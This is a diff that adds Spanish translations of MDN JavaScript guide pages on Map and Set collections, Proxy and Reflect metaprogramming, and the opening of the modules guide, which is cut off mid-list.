index 0000000000..21b8df5cbd
--- /dev/null
+++ b/files/es/web/javascript/guide/keyed_collections/index.html
@@ -0,0 +1,162 @@
+---
+title: Colecciones con clave
+slug: Web/JavaScript/Guide/Keyed_collections
+tags:
+  - Colecciones
+  - Conjunto
+  - Guía
+  - JavaScript
+  - Map
+  - 'l10n:priority'
+  - set
+translation_of: Web/JavaScript/Guide/Keyed_collections
+---
+<div>{{jsSidebar("JavaScript Guide", "Guía de JavaScript")}} {{PreviousNext("Web/JavaScript/Guide/Indexed_Collections", "Web/JavaScript/Guide/Working_with_Objects")}}</div>
+
+<p class="summary">Este capítulo presenta colecciones de datos que están indexadas por una clave; los objetos <code>Map</code> y <code>Set</code> contienen elementos que son iterables en el orden de inserción.</p>
+
+<h2 id="Mapas">Mapas</h2>
+
+<h3 id="Objeto_map">Objeto <code>map</code></h3>
+
+<p>ECMAScript 2015 introduce una nueva estructura de datos para asociar claves con valores. Un objeto {{JSxRef("Map")}} es un mapa de clave/valor simple y puedes iterar sobre sus elementos en el orden en que fueron insertados.</p>
+
+<p>El siguiente código muestra algunas operaciones básicas con un <code>Map</code>. Consulta también la página de referencia de {{JSxRef("Map")}} para obtener más ejemplos y la API completa. Puedes usar un bucle {{JSxRef("Sentencias/for...of", "for...of")}} para devolver un arreglo de <code>[<var>key</var>, <var>value</var>]</code> para cada iteración.</p>
+
+<pre class="brush: js notranslate">let sayings = new Map();
+sayings.set('dog', 'woof');
+sayings.set('cat', 'meow');
+sayings.set('elephant', 'toot');
+sayings.size; // 3
+sayings.get('dog'); // woof
+sayings.get('fox'); // undefined
+sayings.has('bird'); // false
+sayings.delete('dog');
+sayings.has('dog'); // false
+
+for (let [key, value] of sayings) {
+  console.log(key + ' goes ' + value);
+}
+// "cat goes meow"
+// "elephant goes toot"
+
+sayings.clear();
+sayings.size; // 0
+</pre>
+
+<h3 id="Comparar_Object_y_map">Comparar <code>Object</code> y <code>map</code></h3>
+
+<p>Tradicionalmente, los {{JSxRef("Object", "objetos", "", 1)}} se han utilizado para asignar cadenas a valores. Los objetos te permiten establecer claves a valores, recuperar esos valores, eliminar claves y detectar si algo está almacenado en una clave. Los objetos <code>Map</code>, sin embargo, tienen algunas ventajas más que los hacen mejores mapas.</p>
+
+<ul>
+ <li>Las claves de un <code>Object</code> son {{JSxRef("Global_Objects/String", "Cadenas")}} o {{JSxRef("Global_Objects/Symbol", "Símbolos")}}, donde pueden tener cualquier valor para un <code>Map</code>.</li>
+ <li>Puedes obtener el <code>size</code> de un <code>Map</code> fácilmente, mientras que tienes que realizar un seguimiento manual del tamaño de un <code>Object</code>.</li>
+ <li>La iteración de mapas está en el orden de inserción de los elementos.</li>
+ <li>Un <code>Object</code> tiene un prototipo, por lo que hay claves predeterminadas en el mapa. (Esto se puede omitir usando <code>map = Object.create(null)</code>).</li>
+</ul>
+
+<p>Estos tres consejos te pueden ayudar a decidir si usar un <code>Map</code> o un <code>Object</code>:</p>
+
+<ul>
+ <li>Usa mapas sobre objetos cuando las claves sean desconocidas hasta el momento de la ejecución, y cuando todas las claves sean del mismo tipo y todos los valores sean del mismo tipo.</li>
+ <li>Utiliza mapas si es necesario almacenar valores primitivos como claves porque el objeto trata cada clave como una cadena, ya sea un valor numérico, un valor booleano o cualquier otro valor primitivo.</li>
+ <li>Usa objetos cuando haya lógica que opere en elementos individuales.</li>
+</ul>
+
+<h3 id="El_objeto_WeakMap">El objeto <code>WeakMap</code></h3>
+
+<p>El objeto {{JSxRef("WeakMap")}} es una colección de pares clave/valor en la que las <strong>claves solo son objetos</strong> y los valores pueden ser valores arbitrarios. Las referencias de objeto en las claves se mantienen <em>débilmente</em>, lo que significa que son un objetivo de recolección de basura (GC por <em>Garbage Collection</em>) si ya no hay otra referencia al objeto. La API de <code>WeakMap</code> es la misma que la API de <code>Map</code>.</p>
+
+<p>Una diferencia con los objetos <code>Map</code> es que las claves en <code>WeakMap</code> no son enumerables (es decir, no hay ningún método que te proporcione una lista de las claves). Si lo hubiera, la lista dependería del estado de la recolección de basura, introduciendo el no determinismo.</p>
+
+<p>Para obtener más información y código de ejemplo, consulta también "¿Por qué mapa <em>Débil</em>?" en la página de referencia de {{JSxRef("WeakMap")}}.</p>
+
+<p>Un caso de uso de los objetos <code>WeakMap</code> es almacenar datos privados para un objeto u ocultar detalles de implementación. El siguiente ejemplo es de la publicación del blog de Nick Fitzgerald <a href="http://fitzgeraldnick.com/weblog/53/">"Ocultar detalles de implementación con WeakMaps de ECMAScript 6"</a>. Los datos y métodos privados pertenecen al objeto y se almacenan en <code><var>privates</var></code> del objeto <code>WeakMap</code>. Todo lo expuesto en la instancia y el prototipo es público; todo lo demás es inaccesible desde el mundo exterior porque <code><var>privates</var></code> no se exporta desde el módulo.</p>
+
+<pre class="brush: js notranslate">const privates = new WeakMap();
+
+function Public() {
+  const me = {
+    // Los datos privados van aquí
+  };
+  privates.set(this, me);
+}
+
+Public.prototype.method = function () {
+  const me = privates.get(this);
+  // Hacer cosas con datos privados en `me`...
+};
+
+module.exports = Public;</pre>
+
+<h2 id="Sets"><code>Sets</code></h2>
+
+<h3 id="El_objeto_Set">El objeto <code>Set</code></h3>
+
+<p>Los objetos {{JSxRef("Set")}} son colecciones de valores. Puedes iterar sus elementos en el orden en que se insertaron. Un valor en un <code>Set</code> solo puede aparecer una vez; es único en la colección del <code>Set</code>.</p>
+
+<p>El siguiente código muestra algunas operaciones básicas con un <code>Set</code>. Además, consulta la página de referencia de {{JSxRef("Set")}} para obtener más ejemplos y la API completa.</p>
+
+<pre class="brush: js notranslate">let mySet = new Set();
+mySet.add(1);
+mySet.add('algún texto');
+mySet.add('foo');
+
+mySet.has(1); // true
+mySet.delete('foo');
+mySet.size; // 2
+
+for (let item of mySet) console.log(item);
+// 1
+// "algún texto"
+</pre>
+
+<h3 id="Conversión_entre_arreglo_y_Set">Conversión entre arreglo y <code>Set</code></h3>
+
+<p>Puedes crear un {{JSxRef("Array")}} a partir de un <code>Set</code> usando {{JSxRef("Array.from")}} o el {{JSxRef("Operators/Spread_operator", "operador de propagación")}}. Además, el constructor <code>Set</code> acepta un <code>Array</code> para convertirlo en la otra dirección.</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Recuerda que los objetos <code>Set</code> almacenan <em>valores únicos</em>, por lo que cualquier elemento duplicado de un arreglo se elimina al realizar la conversión.</p>
+</div>
+
+<pre class="brush: js notranslate">Array.from(mySet);
+[...mySet2];
+
+mySet2 = new Set([1, 2, 3, 4]);
+</pre>
+
+<h3 id="Comparar_Array_y_Set">Comparar <code>Array</code> y <code>Set</code></h3>
+
+<p>Tradicionalmente en muchas situaciones, un conjunto de elementos se ha almacenado en arreglos de JavaScript. Sin embargo, el nuevo objeto <code>Set</code> tiene algunas ventajas:</p>
+
+<ul>
+ <li>Eliminar elementos <code>Array</code> por valor (<code>arr.splice(arr.indexOf(val), 1)</code>) es muy lento.</li>
+ <li>Los objetos <code>Set</code> te permiten eliminar elementos por su valor. Con un arreglo, tendrías que empalmar (con <code>splice</code>) en función del índice de un elemento.</li>
+ <li>El valor {{JSxRef("NaN")}} no se puede encontrar con <code>indexOf</code> en un arreglo.</li>
+ <li>Los objetos <code>Set</code> almacenan valores únicos. No es necesario que realices un seguimiento manual de los duplicados.</li>
+</ul>
+
+<h3 id="El_objeto_WeakSet">El objeto <code>WeakSet</code></h3>
+
+<p>Los objetos {{JSxRef("WeakSet")}} son colecciones de objetos. Un objeto en el <code>WeakSet</code> solo puede aparecer una vez. Es único en la colección <code>WeakSet</code> y los objetos no son enumerables.</p>
+
+<p>Las principales diferencias con el objeto {{JSxRef("Set")}} son:</p>
+
+<ul>
+ <li>A diferencia de los <code>Sets</code>, los <code>WeakSets</code> son <strong>colecciones <em>únicamente</em> de <em>objetos</em></strong> y no de valores arbitrarios de cualquier tipo.</li>
+ <li>El <code>WeakSet</code> es <em>débil</em>: Las referencias a los objetos de la colección se mantienen débiles. Si no hay otra referencia a un objeto almacenado en el <code>WeakSet</code>, pueden ser recolectados como basura. Eso también significa que no hay una lista de objetos actualmente almacenados en la colección. Los <code>WeakSets</code> no se pueden enumerar.</li>
+</ul>
+
+<p>Los casos de uso de los objetos <code>WeakSet</code> son limitados. No perderán memoria, por lo que puede ser seguro usar elementos DOM como clave y marcarlos con fines de seguimiento, por ejemplo.</p>
+
+<h2 id="Igualdad_de_clave_y_valor_de_Map_y_Set">Igualdad de clave y valor de <code>Map</code> y <code>Set</code></h2>
+
+<p>Tanto la igualdad de claves de los objetos <code>Map</code> como la igualdad de valores de los objetos <code>Set</code> se basan en "<a href="https://tc39.github.io/ecma262/#sec-samevaluezero">algoritmo del mismo valor cero</a>":</p>
+
+<ul>
+ <li>La igualdad funciona como el operador de comparación de identidad <code>===</code>.</li>
+ <li><code>-0</code> y <code>+0</code> se consideran iguales.</li>
+ <li>{{JSxRef("NaN")}} se considera igual a sí mismo (al contrario de <code>===</code>).</li>
+</ul>
+
+<p>{{PreviousNext("Web/JavaScript/Guide/Indexed_Collections", "Web/JavaScript/Guide/Working_with_Objects")}}</p>
diff --git a/files/es/web/javascript/guide/meta_programming/index.html b/files/es/web/javascript/guide/meta_programming/index.html
new file mode 100644
index 0000000000..a51ee5559f
--- /dev/null
+++ b/files/es/web/javascript/guide/meta_programming/index.html
@@ -0,0 +1,305 @@
+---
+title: Metaprogramación
+slug: Web/JavaScript/Guide/Meta_programming
+tags:
+  - ECMAScript 2015
+  - Guía
+  - JavaScript
+  - Proxy
+  - Reflejar
+  - 'l10n:priority'
+translation_of: Web/JavaScript/Guide/Meta_programming
+---
+<div>{{jsSidebar("Guía de JavaScript")}}{{PreviousNext("Web/JavaScript/Guide/Iterators_and_Generators", "Web/JavaScript/Guide/Modules")}}</div>
+
+<p class="summary">A partir de ECMAScript 2015, JavaScript gana soporte para los objetos {{jsxref("Proxy")}} y {{jsxref("Reflect")}} lo cual te permite interceptar y definir un comportamiento personalizado para las operaciones fundamentales del lenguaje (por ejemplo, búsqueda de propiedades, asignación, enumeración, invocación de funciones, etc.). Con la ayuda de estos dos objetos, puedes programar en el metanivel de JavaScript.</p>
+
+<h2 id="Proxies">Proxies</h2>
+
+<p>Introducidos en ECMAScript 6, los objetos {{jsxref("Proxy")}} te permiten interceptar ciertas operaciones e implementar comportamientos personalizados.</p>
+
+<p>Por ejemplo, obtener una propiedad sobre un objeto:</p>
+
+<pre class="brush: js notranslate">let <var>handler</var> = {
+  get: function(<var>target</var>, name) {
+    return name in <var>target</var>? <var>target</var>[name] : 42
+  }
+}
+
+let p = new Proxy({}, <var>handler</var>)
+p.a = 1
+console.log(p.a, p.b) // 1, 42
+</pre>
+
+<p>El objeto <code>Proxy</code> define un <dfn><code><var>target</var></code></dfn> (un objeto vacío aquí) y un objeto <dfn><code><var>handler</var></code></dfn>, en el que se implementa un <code>get</code> <dfn>trap</dfn>. Aquí, un objeto que es proxy no devolverá <code>undefined</code> cuando obtenga propiedades indefinidas, sino que devolverá el número <code>42</code>.</p>
+
+<p>Hay ejemplos adicionales disponibles en la página de referencia {{jsxref("Proxy")}}.</p>
+
+<h3 id="Terminología">Terminología</h3>
+
+<p>Los siguientes términos se utilizan cuando se habla de la funcionalidad de los proxies.</p>
+
+<dl>
+ <dt>{{jsxref("Global_Objects/Proxy/handler","handler","","true")}}</dt>
+ <dd>Objeto marcador de posición que contiene trampas.</dd>
+ <dt>traps</dt>
+ <dd>Los métodos que proporcionan acceso a la propiedad. (Esto es análogo al concepto de <em>trampas</em> en los sistemas operativos).</dd>
+ <dt>target</dt>
+ <dd>Objeto que virtualiza el proxy. A menudo se utiliza como interfaz de administración de almacenamiento para el proxy. Las invariantes (semántica que permanece sin cambios) con respecto a la no extensibilidad del objeto o las propiedades no configurables se verifican con el <code>target</code>.</dd>
+ <dt>invariants</dt>
+ <dd>La semántica que permanece sin cambios al implementar operaciones personalizadas se denominan <em>invariants</em>. Si violas las invariantes de un controlador, se lanzará un {{jsxref("TypeError")}}.</dd>
+</dl>
+
+<h2 id="Controladores_y_trampas">Controladores y trampas</h2>
+
+<p>La siguiente tabla resume las trampas disponibles para los objetos <code>Proxy</code>. Ve las <a href="/es/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler">páginas de referencia</a> para explicaciones detalladas y ejemplos.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Controlador/Trampa</th>
+   <th>Intercepciones</th>
+   <th>Invariantes</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{jsxref("Global_Objects/Proxy/handler/getPrototypeOf", "handler.getPrototypeOf()")}}</td>
+   <td>{{jsxref("Object.getPrototypeOf()")}}<br>
+    {{jsxref("Reflect.getPrototypeOf()")}}<br>
+    {{jsxref("Object/proto", "__proto__")}}<br>
+    {{jsxref("Object.prototype.isPrototypeOf()")}}<br>
+    {{jsxref("Operators/instanceof", "instanceof")}}</td>
+   <td>
+    <ul>
+     <li>El método <code>getPrototypeOf</code> regresa un objeto o <code>null</code>.</li>
+     <li>Si <code><var>target</var></code> no es extensible, el método <code>Object.getPrototypeOf(<var>proxy</var>)</code> debe devolver el mismo valor que <code>Object.getPrototypeOf(<var>target</var>)</code>.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Global_Objects/Proxy/handler/setPrototypeOf", "handler.setPrototypeOf()")}}</td>
+   <td>{{jsxref("Object.setPrototypeOf()")}}<br>
+    {{jsxref("Reflect.setPrototypeOf()")}}</td>
+   <td>Si <code><var>target</var></code> no es extensible, el parámetro <code>prototype</code> debe tener el mismo valor que <code>Object.getPrototypeOf(<var>target</var>)</code>.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Global_Objects/Proxy/handler/is Extensible", "handler.isExtensible()")}}</td>
+   <td>{{jsxref("Object.isExtensible()")}}<br>
+    {{jsxref("Reflect.isExtensible()")}}</td>
+   <td><code>Object.isExtensible(<var>proxy</var>)</code> debe devolver el mismo valor que <code>Object.isExtensible(<var>target</var>)</code>.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Global_Objects/Proxy/handler/preventExtensions", "handler.preventExtensions()")}}</td>
+   <td>{{jsxref("Object.preventExtensions()")}}<br>
+    {{jsxref("Reflect.preventExtensions()")}}</td>
+   <td><code>Object.preventExtensions(<var>proxy</var>)</code> solo devuelve <code>true</code> si <code>Object.isExtensible(<var>proxy</var>)</code> es <code>false</code>.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Global_Objects/Proxy/handler/getOwnPropertyDescriptor", "handler.getOwnPropertyDescriptor()")}}</td>
+   <td>{{jsxref("Object.getOwnPropertyDescriptor()")}}<br>
+    {{jsxref("Reflect.getOwnPropertyDescriptor()")}}</td>
+   <td>
+    <ul>
+     <li><code>getOwnPropertyDescriptor</code> debe devolver un objeto o <code>undefined</code>.</li>
+     <li>Una propiedad no se puede reportar como inexistente si existe como una propiedad propia no configurable de <code><var>target</var></code>.</li>
+     <li>Una propiedad no se puede reportar como inexistente si existe como propiedad propia de <code><var>target</var></code> y <code><var>target</var></code> no es extensible.</li>
+     <li>Una propiedad no se puede reportar como existente si no existe como una propiedad propia de <code><var>target</var></code> y <code><var>target</var></code> no es extensible.</li>
+     <li>No se puede reportar una propiedad como no configurable si no existe como propiedad propia de <code><var>target</var></code> o si existe como propiedad propia configurable de <code><var>target</var></code>.</li>
+     <li>El resultado de <code>Object.getOwnPropertyDescriptor(<var>target</var>)</code> se puede aplicar a <code><var>target</var></code> usando <code>Object.defineProperty</code> y no lanzará una excepción.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Global_Objects/Proxy/handler/defineProperty", "handler.defineProperty()")}}</td>
+   <td>{{jsxref("Object.defineProperty()")}}<br>
+    {{jsxref("Reflect.defineProperty()")}}</td>
+   <td>
+    <ul>
+     <li>No se puede agregar una propiedad si <code><var>target</var></code> no es extensible.</li>
+     <li>Una propiedad no se puede agregar como (o modificar para ser) no configurable si no existe como una propiedad propia no configurable de <code><var>target</var></code>.</li>
+     <li>Una propiedad no puede ser no configurable si existe una propiedad configurable correspondiente de <code><var>target</var></code>.</li>
+     <li>Si una propiedad tiene una propiedad de objeto <code>target</code> correspondiente, entonces <code>Object.defineProperty(<var>target</var>, <var>prop</var>, <var>descriptor</var>)</code> no lanzará una excepción.</li>
+     <li>En modo estricto, un valor <code>false</code> devuelto por el controlador <code>defineProperty</code> lanzará una excepción {{jsxref("TypeError")}}.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Global_Objects/Proxy/handler/has", "handler.has()")}}</td>
+   <td>
+    <dl>
+     <dt>Consulta de propiedad</dt>
+     <dd><code>foo in proxy</code></dd>
+     <dt>Consulta de propiedad heredada</dt>
+     <dd><code>foo in Object.create(<var>proxy</var>)</code><br>
+     {{jsxref("Reflect.has()")}}</dd>
+    </dl>
+   </td>
+   <td>
+    <ul>
+     <li>Una propiedad no se puede reportar como inexistente, si existe como una propiedad propia no configurable de <code><var>target</var></code>.</li>
+     <li>Una propiedad no se puede reportar como inexistente si existe como propiedad propia de <code><var>target</var></code> y <code><var>target</var></code> no es extensible.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Global_Objects/Proxy/handler/get", "handler.get()")}}</td>
+   <td>
+    <dl>
+     <dt>Acceso a la propiedad</dt>
+     <dd><code><var>proxy</var>[foo]</code><br>
+     <code><var>proxy</var>.bar</code></dd>
+     <dt>Acceso a propiedad heredada</dt>
+     <dd><code>Object.create(<var>proxy</var>)[foo]</code><br>
+     {{jsxref("Reflect.get()")}}</dd>
+    </dl>
+   </td>
+   <td>
+    <ul>
+     <li>El valor reportado para una propiedad debe ser el mismo que el valor de la propiedad <code><var>target</var></code> correspondiente si la propiedad de <code><var>target</var></code> es una propiedad de datos de solo lectura y no es configurable.</li>
+     <li>El valor reportado para una propiedad debe ser <code>undefined</code> si la propiedad <code><var>target</var></code> correspondiente es una propiedad de acceso no configurable que tiene <code>undefined</code> como su atributo <code>[[Get]]</code>.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Global_Objects/Proxy/handler/set", "handler.set()")}}</td>
+   <td>
+    <dl>
+     <dt>Asignación de propiedad</dt>
+     <dd><code><var>proxy</var>[foo] = bar</code><br>
+     <code><var>proxy</var>.foo = bar</code></dd>
+     <dt>Asignación de propiedad heredada</dt>
+     <dd><code>Object.create(<var>proxy</var>)[foo] = bar</code><br>
+     {jsxref("Reflect.set()")}}</dd>
+    </dl>
+   </td>
+   <td>
+    <ul>
+     <li>No se puede cambiar el valor de una propiedad para que sea diferente del valor de la propiedad <code><var>target</var></code> correspondiente si la propiedad <code><var>target</var></code> correspondiente es una propiedad de datos de solo lectura y no es configurable.</li>
+     <li>No se puede establecer el valor de una propiedad si la propiedad <code><var>target</var></code> correspondiente es una propiedad de acceso no configurable que tiene <code>undefined</code> como su atributo <code>[[Get]]</code>.</li>
+     <li>En modo estricto, un valor de retorno <code>false</code> del controlador <code>set</code> arrojará una excepción {{jsxref("TypeError")}}.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Global_Objects/Proxy/handler/deleteProperty", "handler.deleteProperty()")}}</td>
+   <td>
+    <dl>
+     <dt>Eliminación de propiedad</dt>
+     <dd><code>delete <var>proxy</var>[foo]</code><br>
+     <code>delete <var>proxy</var>.foo</code><br>
+     {{jsxref("Reflect.deleteProperty()")}}</dd>
+    </dl>
+   </td>
+   <td>Una propiedad no se puede eliminar si existe como una propiedad propia no configurable de <code><var>target</var></code>.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Global_Objects/Proxy/handler/enumerate", "handler.enumerate()")}}</td>
+   <td>
+    <dl>
+     <dt>Enumeración de propiedad/<code>for...in</code>:</dt>
+     <dd><code>for (let name in <var>proxy</var>) {...}</code><br>
+     {{jsxref("Reflect.enumerate()")}}</dd>
+    </dl>
+   </td>
+   <td>El método <code>enumerate</code> debe devolver un objeto.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Global_Objects/Proxy/handler/ownKeys", "handler.ownKeys()")}}</td>
+   <td>{{jsxref("Object.getOwnPropertyNames()")}}<br>
+    {{jsxref("Object.getOwnPropertySymbols()")}}<br>
+    {{jsxref("Object.keys()")}}<br>
+    {{jsxref("Reflect.ownKeys()")}}</td>
+   <td>
+    <ul>
+     <li>El resultado de <code>ownKeys</code> es una lista.</li>
+     <li>El Tipo de cada elemento de la Lista de resultados es {{jsxref("String")}} o {{jsxref("Symbol")}}.</li>
+     <li>La Lista de resultados debe contener las claves de todas las propiedades propias no configurables de <code><var>target</var></code>.</li>
+     <li>Si el objeto <code><var>target</var></code> no es extensible, entonces la Lista de resultados debe contener todas las claves de las propiedades propias de <code><var>target</var></code> y ningún otro valor.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Global_Objects/Proxy/handler/apply", "handler.apply()")}}</td>
+   <td><code>proxy(..args)</code><br>
+    {{jsxref("Function.prototype.apply()")}} y {{jsxref("Function.prototype.call()")}}<br>
+    {{jsxref("Reflect.apply()")}}</td>
+   <td>No hay invariantes para el método <code><var>handler</var>.apply</code>.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Global_Objects/Proxy/handler/construct", "handler.construct()")}}</td>
+   <td><code>new proxy(...args)</code><br>
+    {{jsxref("Reflect.construct()")}}</td>
+   <td>El resultado debe ser un <code>Objeto</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Proxy_revocable"><code>Proxy</code> revocable</h2>
+
+<p>El método {{jsxref ("Proxy.revocable()")}} se usa para crear un objeto <code>Proxy</code> revocable. Esto significa que el proxy se puede revocar mediante la función <code>revoke</code> y apagar el proxy.</p>
+
+<p>Posteriormente, cualquier operación en el proxy conduce a un {{jsxref("TypeError")}}.</p>
+
+<pre class="brush: js notranslate">let revocable = Proxy.revocable({}, {
+  get: function(target, name) {
+    return '[[' + name + ']]'
+  }
+})
+let proxy = revocable.proxy
+console.log(proxy.foo) // "[[foo]]"
+
+revocable.revoke()
+
+console.log(proxy.foo)   // Lanza TypeError
+proxy.foo = 1            // TypeError nuevamente
+delete proxy.foo         // todavía TypeError
+typeof proxy             // "object", typeof no activa ninguna trampa
+</pre>
+
+<h2 id="Reflexión">Reflexión</h2>
+
+<p>{{jsxref("Reflect")}} es un objeto integrado que proporciona métodos para operaciones JavaScript interceptables. Los métodos son los mismos que los de {{jsxref ("Global_Objects/Proxy/handler", "proxy handlers", "", "true")}}.</p>
+
+<p><code>Reflect</code> no es un objeto función.</p>
+
+<p><code>Reflect</code> ayuda con el reenvío de las operaciones predeterminadas del controlador al <code><var>target</var></code>.</p>
+
+<p>Con {{jsxref("Reflect.has()")}} por ejemplo, obtienes el operador <a href="/es/docs/Web/JavaScript/Reference/Operators/in"><code>in</code></a> como función:</p>
+
+<pre class="brush: js notranslate">Reflect.has(Object, 'assign') // true
+</pre>
+
+<h3 id="Una_mejor_función_apply">Una mejor función <code>apply</code></h3>
+
+<p>En ES5, normalmente usas el método {{jsxref("Function.prototype.apply()")}} para llamar a una función con un valor <code>this</code> y <code><var>arguments</var></code> proporcionado como un arreglo (o un <a href="/es/docs/Web/JavaScript/Guide/Indexed_collections#Working_with_array-like_objects">objeto similar a un arreglo</a>).</p>
+
+<pre class="brush: js notranslate">Function.prototype.apply.call(Math.floor, undefined, [1.75])
+</pre>
+
+<p>Con {{jsxref("Reflect.apply")}} esto se vuelve menos detallado y más fácil de entender:</p>
+
+<pre class="brush: js notranslate">Reflect.apply(Math.floor, undefined, [1.75]);
+// 1;
+
+Reflect.apply(String.fromCharCode, undefined, [104, 101, 108, 108, 111]);
+// "hola"
+
+Reflect.apply(RegExp.prototype.exec, /ab/, ["confabulation"]).index;
+// 4
+
+Reflect.apply("".charAt, "ponies", [3]);
+// "i"
+</pre>
+
+<h3 id="Comprobando_si_la_definición_de_la_propiedad_ha_sido_exitosa">Comprobando si la definición de la propiedad ha sido exitosa</h3>
+
+<p>Con {{jsxref("Object.defineProperty")}}, que devuelve un objeto si tiene éxito, o arroja un {{jsxref("TypeError")}} de lo contrario, usaría un bloque {{jsxref("Statements/try...catch", "try...catch")}} para detectar cualquier error que haya ocurrido al definir una propiedad. Debido a que {{jsxref("Reflect.defineProperty")}} devuelve un estado de éxito booleano, aquí puedes usar un bloque {{jsxref("Statements/if...else", "if...else")}}:</p>
+
+<pre class="brush: js notranslate">if (Reflect.defineProperty(target, property, attributes)) {
+  // éxito
+} else {
+  // fracaso
+}</pre>
+
+<p>{{Previous("Web/JavaScript/Guide/Iterators_and_Generators")}}</p>
diff --git a/files/es/web/javascript/guide/módulos/index.html b/files/es/web/javascript/guide/módulos/index.html
new file mode 100644
index 0000000000..eacc6835f6
--- /dev/null
+++ b/files/es/web/javascript/guide/módulos/index.html
@@ -0,0 +1,458 @@
+---
+title: Módulos JavaScript
+slug: Web/JavaScript/Guide/Módulos
+tags:
+  - Guía
+  - JavaScript
+  - Modules
+  - Módulos
+  - export
+  - import
+translation_of: Web/JavaScript/Guide/Modules
+---
+<div>{{JSSidebar("Guía de JavaScript")}}{{Previous("Web/JavaScript/Guide/Meta_programming")}}</div>
+
+<p>Esta guía te brinda todo lo que necesitas para comenzar con la sintaxis de los módulos JavaScript.</p>
+
+<h2 id="Un_antecedente_sobre_módulos">Un antecedente sobre módulos</h2>
+
+<p>Los programas JavaScript comenzaron siendo bastante pequeños — la mayor parte de su uso en los primeros días era para realizar tareas de scripting aisladas, proporcionando un poco de interactividad a tus páginas web donde fuera necesario, por lo que generalmente no se necesitaban grandes scripts. Avancemos unos años y ahora tenemos aplicaciones completas que se ejecutan en navegadores con mucho JavaScript, JavaScript ahora se usa en otros contextos (<a href="/es/docs/Glossary/Node.js">Node.js</a>, por ejemplo).</p>
+
+<p>Por lo tanto, en los últimos años se ha comenzado a pensar en proporcionar mecanismos para dividir programas JavaScript en módulos separados que se puedan importar cuando sea necesario. Node.js ha tenido esta capacidad durante mucho tiempo, y hay una serie de bibliotecas y marcos de JavaScript que permiten el uso de módulos (por ejemplo, <a href="https://en.wikipedia.org/wiki/CommonJS">CommonJS</a> y <a href="https://github.com/amdjs/amdjs-api/blob/master/AMD.md">AMD</a> otros basados en sistemas de módulos como <a href="https://requirejs.org/">RequireJS</a>, y recientemente <a href="https://webpack.github.io/">Webpack</a> y <a href="https://babeljs.io/">Babel</a>).</p>
+
+<p>La buena noticia es que los navegadores modernos han comenzado a admitir la funcionalidad de los módulos de forma nativa, y de esto se trata este artículo. Esto solo puede ser algo bueno — los navegadores pueden optimizar la carga de módulos, haciéndolo más eficiente que tener que usar una biblioteca y hacer todo ese procesamiento adicional de lado del cliente, ahorrando viajes de ida y vuelta adicionales.</p>
+
+<h2 id="Soporte_del_navegador">Soporte del navegador</h2>
+
+<p>El uso de módulos JavaScript nativos depende de las declaraciones {{jsxref("Statements/import", "import")}} y {{jsxref("Statements/export", "export")}}; estas son compatibles con los navegadores de la siguiente manera:</p>
+
+<h3 id="import">import</h3>
+
+<p>{{Compat("javascript.statements.import")}}</p>
+
+<h3 id="export">export</h3>
+
+<p>{{Compat("javascript.statements.export")}}</p>
+
+<h2 id="Introducción_—_un_ejemplo">Introducción — un ejemplo</h2>
+
+<p>Para demostrar el uso de módulos, hemos creado un <a href="https://github.com/mdn/js-examples/tree/master/modules">sencillo conjunto de ejemplos</a> que puedes encontrar en GitHub. Estos ejemplos demuestran un sencillo conjunto de módulos que crean un elemento <a href="/es/docs/Web/HTML/Element/canvas" title="Usa el elemento ↑&lt;canvas>↓ de HTML con el scripting de la API de canvas o la API WebGL para dibujar gráficos y animaciones."><code>&lt;canvas&gt;</code></a> en una página web, y luego dibujan (y reportan información sobre) diferentes formas en el lienzo.</p>
+
+<p>Estos son bastante triviales, pero se han mantenido deliberadamente simples para demostrar los módulos con claridad.</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Si deseas descargar los ejemplos y ejecutarlos localmente, deberás ejecutarlos a través de un servidor web local.</p>
+</div>
+
+<h2 id="Estructura_básica_de_los_ejemplos">Estructura básica de los ejemplos</h2>
+
+<p>En nuestro primer ejemplo (ve <a href="https://github.com/mdn/js-examples/tree/master/modules/basic-modules">basic-modules</a>) tenemos la siguiente estructura de archivos:</p>
+
+<pre class="notranslate">index.html
+main.js
+modules/
+    canvas.js
+    square.js</pre>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Todos los ejemplos de esta guía básicamente tienen la misma estructura; lo anterior debería empezar a resultarte bastante familiar.</p>
+</div>
+
+<p>Los dos módulos del directorio <code>modules</code> se describen a continuación:</p>
+
+<ul>
+ <li><code>canvas.js</code> — contiene funciones relacionadas con la configuración del lienzo (<code>canvas</code>):
+
+  <ul>
+   <li><code>create()</code> — crea un lienzo (<code>canvas</code>) con un <code>width</code> y <code>height</code> especificados dentro de un contenedor <a href="/es/docs/Web/HTML/Element/div" title='El elemento ↑div↑ de HTML con ↑id="content"↓ es el contenedor genérico para el flujo de contenido. No tiene ningún efecto en el contenido o el diseño hasta que se le aplica estilo usando CSS.'><code>&lt;div&gt;</code></a> con un ID especificado, que a su vez se añade dentro de un elemento padre especificado. Devuelve un objeto que contiene el contexto 2D del lienzo y el ID del contenedor.</li>
+   <li><code>createReportList()</code> — crea una lista desordenada adjunta dentro de un elemento contenedor específico, que se puede usar para generar datos de informes. Devuelve el ID de la lista.</li>
+  </ul>
+ </li>
+ <li><code>square.js</code> — contiene:
+  <ul>
+   <li><code>name</code> — una constante que contiene la cadena 'square'.</li>
